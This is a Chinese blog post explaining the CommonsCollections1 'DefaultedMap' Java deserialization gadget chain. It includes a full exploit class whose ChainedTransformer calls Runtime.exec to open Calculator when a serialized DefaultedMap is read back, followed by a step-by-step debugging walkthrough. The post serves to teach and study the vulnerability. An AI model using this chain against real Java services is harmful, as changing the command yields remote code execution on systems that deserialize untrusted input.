首页 > 其他分享 >原创->CommonsCollections1-DefaultMap链

原创->CommonsCollections1-DefaultMap链

时间:2024-05-15 23:30:55浏览次数:21  
标签:Class DefaultedMap 调用 原创 Object CommonsCollections1 new DefaultMap class

今天我打算整点儿不一样的内容,通过之前学习的TransformerMapLazyMap链,想搞点不一样的,所以我关注了另外一条链DefaultedMap链,主要调用链为:

调用链详细描述:
 ObjectInputStream.readObject()
     DefaultedMap.readObject()
         DefaultedMap.get()
            ChainedTransformer.transform()
                 ConstantTransformer.transform()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Class.getMethod()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Runtime.getRuntime()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Runtime.exec()

刚开始的方法和其他CC1链的方法是一样的,这里不再赘述,其实也就是这三步

主要讲一下在DefaultedMap里是如何进行调用的,首先我们看一下完整的EXP

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class ExploitDemo implements Serializable {
    private static final long serialVersionUID = 1L;

    public static void main(String[] args) throws Exception {
        // 设置Transformer链,最终执行命令 'open -a Calculator' 以弹出macOS计算器
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.class
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 调用Class.getMethod() 获取getRuntime方法对象
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 调用Method.invoke() 获取Runtime实例
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 调用Runtime.exec() 执行命令
        };

        // 使用ChainedTransformer将多个Transformer链接在一起
        Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次调用上面的每个Transformer

        // 创建DefaultedMap对象
        Map<Object, Object> innerMap = new HashMap<>();
        DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在,调用transformer.transform()

        // 通过反射将innerMap注入到DefaultedMap中
        Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 获取父类AbstractMapDecorator的map字段
        mapField.setAccessible(true);
        mapField.set(defaultedMap, innerMap); // 设置DefaultedMap的map字段为innerMap

        // 通过反射设置value字段
        Field valueField = DefaultedMap.class.getDeclaredField("value"); // 获取DefaultedMap的value字段
        valueField.setAccessible(true);
        valueField.set(defaultedMap, transformer); // 设置DefaultedMap的value字段为ChainedTransformer实例

        // 序列化DefaultedMap对象
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap对象
        objectOutputStream.close();

        byte[] serializedObject = byteArrayOutputStream.toByteArray();  // 通过ByteArrayOutputStream获取序列化后的字节数组

        // 反序列化DefaultedMap对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap对象,触发DefaultedMap.readObject()
        objectInputStream.close();

        // 调用get方法以触发命令执行
        deserializedMap.get("key"); // DefaultedMap.get() 调用ChainedTransformer.transform(),依次调用各个transformer,最终执行命令
    }
}

我们来下断点调试一下,看看代码是如何进行命令执行的

首先还是创建一个数组,然后通过ChainedTransformer方法进行不断的调用

Transformer[] transformers = new Transformer[]
创建一个数组Transformer[]
  
new ConstantTransformer(Runtime.class)
1.通过ConstantTransformer 的 transform 方法调用一个对象,返回 Runtime.class,即 java.lang.Runtime 类的 Class 对象。

new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), 
2.通过InvokerTransformer调用 Runtime.class.getMethod("getRuntime", new Class[0]) 获取名为 getRuntime 的方法对象,getMethod 方法签名为 Method getMethod(String name, Class<?>... parameterTypes),传入参数 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] }
  
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
3.通过 InvokerTransformer 调用 Method.invoke(null, new Object[0]) 获取 Runtime 类的实例,invoke 方法签名为 Object invoke(Object obj, Object... args),传入参数 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。


new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) 
4.通过 InvokerTransformer 调用 Runtime.getRuntime().exec("open -a Calculator") 执行命令,exec 方法签名为 Process exec(String command),传入参数 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。

通过ChainedTransformer方法,递归调用transformers数组,每一个步骤的输出被作为下一步的输入。

然后继续往下跟

1.首先我们先创建一个Map对象,为什么后面会讲
Map<Object, Object> innerMap = new HashMap<>();

2.传入transformer数组,因为defaultedMap 中获取一个不存在的键的值时,DefaultedMap 会使用 Transformer 对象的transform 方法来计算默认值,所以会调用我们的恶意数组链。
DefaultedMap defaultedMap = new DefaultedMap(transformer);

继续往下跟

1.DefaultedMap 类继承自 AbstractMapDecorator,getSuperclass() 方法返回 DefaultedMap 的直接父类AbstractMapDecorator,getDeclaredField("map") 方法返回 AbstractMapDecorator 类中的 map 字段(一个 Field 对象),反射是因为这个字段是私有的
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); 

2.setAccessible(true) 方法允许通过反射访问私有字段。
mapField.setAccessible(true);

3.mapField.set 方法用于设置 defaultedMap 对象中 map 字段的值,这里将 defaultedMap 的 map 字段设置为 innerMap 对象,即用我们之前创建的 Map 对象替换 defaultedMap 内部的 Map 实现。
mapField.set(defaultedMap, innerMap);

继续往下跟

1.通过反射访问并修改了 DefaultedMap 类的 value 字段,getDeclaredField("value") 获取 DefaultedMap 类中名为 value 的字段.
Field valueField = DefaultedMap.class.getDeclaredField("value");

2.setAccessible(true) 使得即使是私有字段也可以通过反射进行访问和修改
valueField.setAccessible(true);

3.通过 set 方法将 defaultedMap 对象的 value 字段设置为 transformer 对象。原因是当 DefaultedMap(Map map, Object value) 中的value获取一个不存在的键时,它将使用这个 transformer 对象来生成默认值。
valueField.set(defaultedMap, transformer);

继续往下跟

这里我也不废话,主要就是序列化数据和反序列化数据,通过ByteArrayOutputStream,提供了将数据写入字节数组的能力,toByteArray()方法是获取写入的所有数据的副本,作为一个新的字节数组,然后通过ByteArrayInputStream进行反序列化。

这里关键点需要注意的是以下这段代码,因为要能够使命令成功执行,必须要让DefaultedMap实现序列化接口,这里我们可以看到确实实现了,所以 DefaultedMap 实现了 Serializable 接口,它可以通过 ObjectInputStream 进行反序列化。在这个过程中,ObjectInputStream 会调用 DefaultedMapreadObject 方法,以恢复对象的状态。

可以看到我们下的断点位置已经通过反序列化调用了readObjcet方法

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  
  in.defaultReadObject();
  //ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法负责从输入流中读取对象的非静态和非瞬态字段的状态,并将它们恢复到当前对象中,这一步相当于默认的反序列化过程,它会根据序列化时写入的对象状态自动恢复这些字段的值。
        
  map = (Map) in.readObject();
  //这一行代码从输入流中读取一个对象,并将其强制转换为 Map 类型,然后赋值给 map 字段。这意味着 map 字段在反序列化过程中需要被显式地恢复。通过这种方式,可以确保 map 字段在反序列化后正确地指向原来的 Map 对象。
    }

 

继续往下跟
 获得命令执行的原因是,通过触发readObjcet方法调用DefaultedMapget方法,进行判断,当调用 get 方法尝试获取一个不存在的键(如 "key")时,DefaultedMap 会使用默认值生成器来生成值。在这里,默认值生成器是chainedTransformer,因此会调用 chainedTransformer.transform("key"),因为获取到一个不存在的值,DefaultedMap 会使用其默认值生成器(在这里是 ChainedTransformer)来生成默认值。由于 ChainedTransformer 包含了一系列的 Transformer,这些 Transformer 会依次调用,最终执行恶意命令。

然后我们可以下断点看下面的图

逐行解释一下命令执行的过程

if (map.containsKey(key) == false) 
//检查 map 中是否包含指定的键 key。如果键不存在,代码继续执行内部逻辑;如果键存在,则直接返回键对应的值。
  
if (value instanceof Transformer)
//检查 DefaultedMap 的默认值 value 是否是 Transformer 类型,如果 value 是一个 Transformer 对象,则调用 Transformer 的 transform 方法来生成值,也就是调用了我们的恶意链
  
return ((Transformer) value).transform(key);
//当 get 方法调用 ((Transformer) value).transform(key) 时,实际上是调用 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法会依次调用内部每个 Transformer;
ConstantTransformer 返回 Runtime.class;
InvokerTransformer 调用 getMethod("getRuntime", new Class[0]),获取 Runtime.getRuntime 方法;InvokerTransformer 调用 Runtime.getRuntime() 方法,获取 Runtime 实例;InvokerTransformer 调;
Runtime.exec("open -a Calculator") 方法,执行命令,打开计算器。

大家可以有机会自己写一下代码,调试一下就可以完全明白了,今天就到这里。Good night~

标签:Class,DefaultedMap,调用,原创,Object,CommonsCollections1,new,DefaultMap,class
From: https://www.cnblogs.com/A8k1a4/p/18195044

相关文章

  • (非原创)Stable Diffusion 提示词prompt tag语法总结
    基本认知提示词会相互污染,要尽可能地做减法。XL版本主推使用自然语言使用注释将修饰词汇限定给某个主体,避免提示词污染1girl(silverlonghair,purpleeyes),yellowsuit2people(1girlAND1boy)2characters(1girlAND1dog)权重调整旧语法:(){}加大权重,[]......
  • 【原创】不同RTOS POSIX接口的实现差异
    目录前言POSIX简介RTOS对POSIX的实现情况ZephyrFreeRTOSRTOS提供的POSIX接口实时吗?nanosleepTimer-不同linux版本和xenomai的实现差异PREEMPT-RTTimer实现原理XenomaiTimer实现原理总结参考前言在开发实时应用时,我们希望软件具备良好的跨平台和可移植,既能在实时linux也能在RTO......
  • Suno:一键生成原创音乐的AI!还不赶紧体验一下?
    最近一两年,AI的发展是飞速的,从AI聊天到AI绘画,再到AI视频,一次一次的刷新我们的认知,最近AI一键生成音乐也出来了。不知道大家有没有刷到过。 今天盘哥就来把它分享给大家,你也可以一键生成专属于自己的音乐。 01-Suno(网站)它就是一个可以一键生成音乐的AI网站,我测试的时候是......
  • 组合创新,原创模型!多类型需求响应负荷标准化建模+共享储能(附matlab代码实现)
    专题推荐:论文推荐,代码分享,视角(点击即可跳转)所有链接建议使用电脑端打开,手机端打开较慢【代码推荐购买指南】电力系统运行优化与规划、时间序列预测、回归分类预测matlab代码公众号历史推文合集23.3.21(电力系统前沿视角/预测和优化方向matlab代码/电力系统优秀论文推程......
  • kubernetes部署mongodb集群原创
    Kubernetes是一个开源的容器编排和管理平台,它可以帮助开发者轻松地部署、扩展和管理分布式应用程序。在Kubernetes中,可以使用StatefulSet来部署MongoDB分片集群和副本集。本文将介绍如何使用Kubernetes部署MongoDB集群。准备工作在开始部署MongoDB集群之前,需要先准......
  • java计算机毕业设计(附源码)原创网络文学管理系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义标题:原创网络文学管理系统的开发背景在数字化时代背景下,网络文学作为一种新兴的文学形式,以其便捷、互动性强的特点迅速崛起,成为文化消费的重要领域。随着网络文学......
  • 原创c++小游戏《扫雷但是地狱难度》1.0.1版本
    这个扫雷非常难,2500个格子,500个雷#include<bits/stdc++.h>usingnamespacestd;charm[51][51],rm[51][51];intbombs=500;//intbxy[501][501];intd[8][2]={{0,1},{0,-1},{1,1},{-1,1},{1,0},{-1,0},{-1,-1},{1,-1}};voidtancha(intx,inty){ intt=0; if(rm[x+1......
  • extern 关键字------非原创
    前面总结了static关键字,下面先说说static和extern能同时使用吗?答案是不能。 extern修饰全局变量和函数,被修饰的变量和函数可以在别的文件里使用。static修饰的变量和函数作用范围仅限于定义它的文件内部。 static要求去除符号表名称,extern要求通过符号名称链接,他俩先天就矛......
  • static 关键字2----不是原创
    在学习volatile关键字时,在此重温下C语言的其他关键字static。这个关键字可以说到处都在用,但是能否详细说清楚这个static应该怎么用,什么场景用,怎么用合适?当你写下static的时候,是否考虑了真的需要用static吗?在前面笔记中也有学习了static,但明显感觉得出来,当时对static的理解不到......
  • 对接韩国,印度股票行情数据API-原创
    韩国股票行情数据API接口,印度股票行情数据API接口,日本股票行情数据API接口使用 匠山数据APIhttps://stock.js-stock.top/支持很多数据(公司信息,国际新闻,ipo、新股日历,指数)GET【股票】市场列表POST【股票】实时行情GET【股票】k线数据GET【股票】指数GET【股票】ipo、新......